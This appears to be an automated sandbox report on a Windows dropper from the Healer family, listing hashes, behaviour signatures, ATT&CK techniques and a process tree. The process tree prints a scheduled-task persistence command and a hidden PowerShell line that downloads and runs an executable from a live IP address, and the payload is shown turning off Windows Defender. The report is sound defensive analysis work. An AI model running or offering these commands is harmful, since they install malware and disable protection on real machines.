Overview

overview

10

Static

static

5

dec62c60d2...69.exe

windows7-x64

10

dec62c60d2...69.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    97s
  • max time network
    121s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250207-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250207-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-02-2025 04:11

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General

  • Target

    dec62c60d202cb01dc6da521280b1cb78dfb1a2e17ef55251346fdf178471369.exe

  • Size

    938KB

  • MD5

    281d0718e6a1ea68a009c360934d49f4

  • SHA1

    992de4a281d603d13b5596d2d6aaacd7ed68cf7b

  • SHA256

    dec62c60d202cb01dc6da521280b1cb78dfb1a2e17ef55251346fdf178471369

  • SHA512

    7ebb2297d46a9bd4a7531a210882565472fcf89b6a448910e5d9358380c92ade9fc5a04e9edff2146e76cc6dbbbe49609f8b8e07146bb1a22f26707dabba921e

  • SSDEEP

    24576:4qDEvCTbMWu7rQYlBQcBiT6rprG8aeNlj:4TvC/MTQYxsWR7aeNF

Score
10/10
healerdefense_evasiondiscoverydropperevasionexecutiontrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://185.215.113.16/defend/random.exe

Signatures

  • Detects Healer an antivirus disabler dropper 3 IoCs
  • Healer

    Healer an antivirus disabler dropper.

    dropperhealer
  • Healer family
    healer
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
    defense_evasiontrojan
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender notification settings 3 TTPs 2 IoCs
    defense_evasiontrojan
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
    defense_evasion
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 2 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Identifies Wine through registry keys 2 TTPs 1 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Windows security modification 2 TTPs 2 IoCs
    defense_evasiontrojan
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\dec62c60d202cb01dc6da521280b1cb78dfb1a2e17ef55251346fdf178471369.exe
    "C:\Users\Admin\AppData\Local\Temp\dec62c60d202cb01dc6da521280b1cb78dfb1a2e17ef55251346fdf178471369.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:996
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn DXs5ymajcyl /tr "mshta C:\Users\Admin\AppData\Local\Temp\5Na27P7Dz.hta" /sc minute /mo 25 /ru "Admin" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4380
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn DXs5ymajcyl /tr "mshta C:\Users\Admin\AppData\Local\Temp\5Na27P7Dz.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:3768
    • C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\5Na27P7Dz.hta
      2⤵
      • Checks computer location settings
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:740
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YSUAPYLGIQWNTTF72GEPASA4IGGFG636.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/defend/random.exe',$d);Start-Process $d;
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4268
        • C:\Users\Admin\AppData\Local\TempYSUAPYLGIQWNTTF72GEPASA4IGGFG636.EXE
          "C:\Users\Admin\AppData\Local\TempYSUAPYLGIQWNTTF72GEPASA4IGGFG636.EXE"
          4⤵
          • Modifies Windows Defender DisableAntiSpyware settings
          • Modifies Windows Defender Real-time Protection settings
          • Modifies Windows Defender TamperProtection settings
          • Modifies Windows Defender notification settings
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Windows security modification
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:948
  • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
    "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7RDdCNUY2MTAtNDY4Ny00NkNFLUEzRDgtQUQzMDhCNDFEQjcxfSIgdXNlcmlkPSJ7RDFENjlDMkItOTc4Mi00NzEwLTkxMDktQkI4RkNBNzQ0QTU5fSIgaW5zdGFsbHNvdXJjZT0ibGltaXRlZCIgcmVxdWVzdGlkPSJ7NDlFMUE1NzMtMEJERi00RDJDLUE2NzItNkI5OTVENjY0NDI4fSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjIiIHBoeXNtZW1vcnk9IjQiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xOTA0MS4xMjg4IiBzcD0iIiBhcmNoPSJ4NjQiIHByb2R1Y3RfdHlwZT0iNDgiIGlzX3dpcD0iMCIgaXNfaW5fbG9ja2Rvd25fbW9kZT0iMCIvPjxvZW0gcHJvZHVjdF9tYW51ZmFjdHVyZXI9IiIgcHJvZHVjdF9uYW1lPSIiLz48ZXhwIGV0YWc9IiZxdW90O0UreGJBejZZNnNVMTI4OWJTNnFsNFZSTGJramZCVUdUTUpzanJIcjQ0aUk9JnF1b3Q7Ii8-PGFwcCBhcHBpZD0iezhBNjlEMzQ1LUQ1NjQtNDYzYy1BRkYxLUE2OUQ5RTUzMEY5Nn0iIHZlcnNpb249IjEyMy4wLjYzMTIuMTIzIiBuZXh0dmVyc2lvbj0iIiBsYW5nPSJlbiIgYnJhbmQ9IkdHTFMiIGNsaWVudD0iIiBpbnN0YWxsYWdlPSI5IiBpbnN0YWxsZGF0ZXRpbWU9IjE3Mzg5NDU5MjEiIG9vYmVfaW5zdGFsbF90aW1lPSIxMzM4MzQxODE5ODA3NzAwMDAiPjxldmVudCBldmVudHR5cGU9IjMxIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIyMTc5ODYyIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI0NzczMzAxMzM5Ii8-PC9hcHA-PC9yZXF1ZXN0Pg
    1⤵
    • System Location Discovery: System Language Discovery
    • System Network Configuration Discovery: Internet Connection Discovery
    PID:3924

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1
T1059

PowerShell

1
T1059.001

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Persistence

Create or Modify System Process

4
T1543

Windows Service

4
T1543.003

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Privilege Escalation

Create or Modify System Process

4
T1543

Windows Service

4
T1543.003

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Defense Evasion

Impair Defenses

5
T1562

Disable or Modify Tools

5
T1562.001

Modify Registry

5
T1112

Virtualization/Sandbox Evasion

2
T1497

Credential Access

Discovery

Query Registry

4
T1012

System Information Discovery

3
T1082

System Location Discovery

1
T1614

System Language Discovery

1
T1614.001

System Network Configuration Discovery

1
T1016

Internet Connection Discovery

1
T1016.001

Virtualization/Sandbox Evasion

2
T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\TempYSUAPYLGIQWNTTF72GEPASA4IGGFG636.EXE
    Filesize

    1.7MB

    MD5

    929881332bc9002586160a0b390c9b17

    SHA1

    b3ec8c1021a73157bd910a12d4c21e6ef72caf4f

    SHA256

    2f254005b4785146e90cad8a18db08e59efaed47d1a45cf0deb97eba53bab04b

    SHA512

    705e0647aad26c1d15ecd39efa2a86f525f3d5d956dd094248340384e57e9a290a7ab05731bc6c4ebd1e185fd4f779730c62a365c95a5c8059e4a0188f1ba6d7

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\5Na27P7Dz.hta
    Filesize

    726B

    MD5

    fd43290f9112ea49c534edea00420b72

    SHA1

    b1f4628876d30f950fb4db0fb5b9ee4374fc52ce

    SHA256

    f8b7996602353473e1faf4dc13a9dfb643542360d622bf7d639e5eebf3f34b53

    SHA512

    97075d599c278300bcfb1d6fbedb718242ecf1f78381a46ca0d6ea4ffce39a7551bcca05a46f9a7d9adc81c89cb26ca3feced07b425296895a6ef83c46e188e1

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5yqbhbnt.yqs.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • memory/948-45-0x00000000009C0000-0x0000000000E20000-memory.dmp

    Filesize

    4.4MB

    Download

  • memory/948-42-0x00000000009C0000-0x0000000000E20000-memory.dmp

    Filesize

    4.4MB

    Download

  • memory/948-40-0x00000000009C0000-0x0000000000E20000-memory.dmp

    Filesize

    4.4MB

    Download

  • memory/948-39-0x00000000009C0000-0x0000000000E20000-memory.dmp

    Filesize

    4.4MB

    Download

  • memory/948-36-0x00000000009C0000-0x0000000000E20000-memory.dmp

    Filesize

    4.4MB

    Download

  • memory/4268-6-0x0000000005FE0000-0x0000000006046000-memory.dmp

    Filesize

    408KB

    Download

  • memory/4268-18-0x0000000006680000-0x00000000066CC000-memory.dmp

    Filesize

    304KB

    Download

  • memory/4268-19-0x0000000007D60000-0x00000000083DA000-memory.dmp

    Filesize

    6.5MB

    Download

  • memory/4268-20-0x0000000006B50000-0x0000000006B6A000-memory.dmp

    Filesize

    104KB

    Download

  • memory/4268-23-0x0000000007B00000-0x0000000007B96000-memory.dmp

    Filesize

    600KB

    Download

  • memory/4268-24-0x0000000007A90000-0x0000000007AB2000-memory.dmp

    Filesize

    136KB

    Download

  • memory/4268-25-0x0000000008990000-0x0000000008F34000-memory.dmp

    Filesize

    5.6MB

    Download

  • memory/4268-17-0x0000000006640000-0x000000000665E000-memory.dmp

    Filesize

    120KB

    Download

  • memory/4268-16-0x0000000006050000-0x00000000063A4000-memory.dmp

    Filesize

    3.3MB

    Download

  • memory/4268-5-0x0000000005F70000-0x0000000005FD6000-memory.dmp

    Filesize

    408KB

    Download

  • memory/4268-4-0x0000000005670000-0x0000000005692000-memory.dmp

    Filesize

    136KB

    Download

  • memory/4268-3-0x0000000005750000-0x0000000005D78000-memory.dmp

    Filesize

    6.2MB

    Download

  • memory/4268-2-0x0000000003080000-0x00000000030B6000-memory.dmp

    Filesize

    216KB

    Download